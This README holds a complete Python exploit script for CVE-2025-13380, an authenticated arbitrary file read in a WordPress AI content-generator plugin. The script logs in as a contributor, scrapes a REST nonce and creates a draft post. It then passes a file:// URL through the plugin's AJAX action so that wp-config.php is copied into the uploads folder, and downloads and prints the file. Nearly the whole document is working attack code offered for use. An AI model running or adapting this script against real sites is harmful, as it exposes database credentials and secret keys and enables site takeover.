README.md
Rendering markdown...
# Exploit Title: AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read
# Date: 11/16/2025
# Exploit Author: Ryan Kozak
# Vendor Homepage: https://wordpress.org/plugins/liquid-chatgpt
# Version: <= 1.0.1
# CVE : CVE-2025-13380
import requests
import re
import sys
import argparse
from urllib.parse import urljoin
from datetime import datetime
def main():
parser = argparse.ArgumentParser(description='CVE-2025-13380 - AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read')
parser.add_argument('url', help='Target WordPress URL (e.g., http://example.com)')
parser.add_argument('username', help='WordPress username')
parser.add_argument('password', help='WordPress password')
args = parser.parse_args()
print(f"[+] Target: {args.url}")
print(f"[+] Username: {args.username}")
# Login to WordPress
session = requests.Session()
login_data = {
'log': args.username,
'pwd': args.password,
'wp-submit': 'Log In',
'redirect_to': urljoin(args.url, '/wp-admin/'),
'testcookie': '1'
}
login_response = session.post(urljoin(args.url, '/wp-login.php'), data=login_data)
# Get REST API nonce from admin page
admin_url = urljoin(args.url, '/wp-admin/')
response = session.get(admin_url)
# Look for REST API nonce in various patterns
nonce_match = re.search(r'wpApiSettings.*?"nonce":"([^"]+)"', response.text)
if not nonce_match:
nonce_match = re.search(r'"restUrl":"[^"]*","nonce":"([^"]+)"', response.text)
if not nonce_match:
nonce_match = re.search(r'wp\.rest\.nonce["\']?\s*[:=]\s*["\']([^"\']+)["\']', response.text)
if not nonce_match:
# Try post-new page
post_new_url = urljoin(args.url, '/wp-admin/post-new.php')
post_new_response = session.get(post_new_url)
nonce_match = re.search(r'wpApiSettings.*?"nonce":"([^"]+)"', post_new_response.text)
if not nonce_match:
print("[-] Failed to get REST API nonce")
sys.exit(1)
nonce = nonce_match.group(1)
print(f"[+] Nonce obtained: {nonce}")
# Create post via REST API
rest_url = urljoin(args.url, '/wp-json/wp/v2/posts')
headers = {
'X-WP-Nonce': nonce,
'Content-Type': 'application/json'
}
post_data = {
'title': 'Test Post',
'content': 'Test Content',
'status': 'draft'
}
response = session.post(rest_url, json=post_data, headers=headers)
if response.status_code != 201:
print(f"[-] Failed to create post (status: {response.status_code})")
print(f"[-] Response: {response.text[:200]}")
sys.exit(1)
post_id = response.json()['id']
print(f"[+] Post created with ID: {post_id}")
# Exploit SSRF to read wp-config.php
exploit_url = urljoin(args.url, '/wp-admin/admin-ajax.php')
exploit_data = {
'action': 'lqdai_update_post',
'posts[post_id]': str(post_id),
'posts[title]': 'Test',
'posts[content]': 'Test',
'posts[tags]': 'test',
'posts[image]': 'file:///var/www/html/wp-config.php'
}
response = session.post(exploit_url, data=exploit_data)
if response.status_code != 200:
print("[-] Failed to exploit")
sys.exit(1)
print(f"[+] File written to uploads directory")
# Retrieve the file
# The filename is sanitize_file_name(parse_url('file:///var/www/html/wp-config.php')['path']) . '.jpg'
# parse_url returns '/var/www/html/wp-config.php', sanitize_file_name removes slashes
# So it becomes 'varwwwhtmlwp-config.php.jpg'
year = datetime.now().year
month = datetime.now().month
filename = 'varwwwhtmlwp-config.php.jpg'
file_url = urljoin(args.url, f'/wp-content/uploads/{year}/{month:02d}/{filename}')
print(f"[+] Attempting to retrieve file from: {file_url}")
response = session.get(file_url)
if response.status_code == 200:
print(f"[+] File retrieved successfully!")
print(f"[+] wp-config.php contents:")
print(response.text.strip())
else:
# Try previous month in case file was written earlier
prev_month = month - 1 if month > 1 else 12
prev_year = year if month > 1 else year - 1
file_url = urljoin(args.url, f'/wp-content/uploads/{prev_year}/{prev_month:02d}/{filename}')
print(f"[*] Trying previous month: {file_url}")
response = session.get(file_url)
if response.status_code == 200:
print(f"[+] File retrieved successfully!")
print(f"[+] wp-config.php contents:")
print(response.text.strip())
else:
print(f"[-] Failed to retrieve file")
print(f"[*] Tried: /wp-content/uploads/{year}/{month:02d}/{filename}")
print(f"[*] Tried: /wp-content/uploads/{prev_year}/{prev_month:02d}/{filename}")
print(f"[*] Response code: {response.status_code}")
if __name__ == "__main__":
main()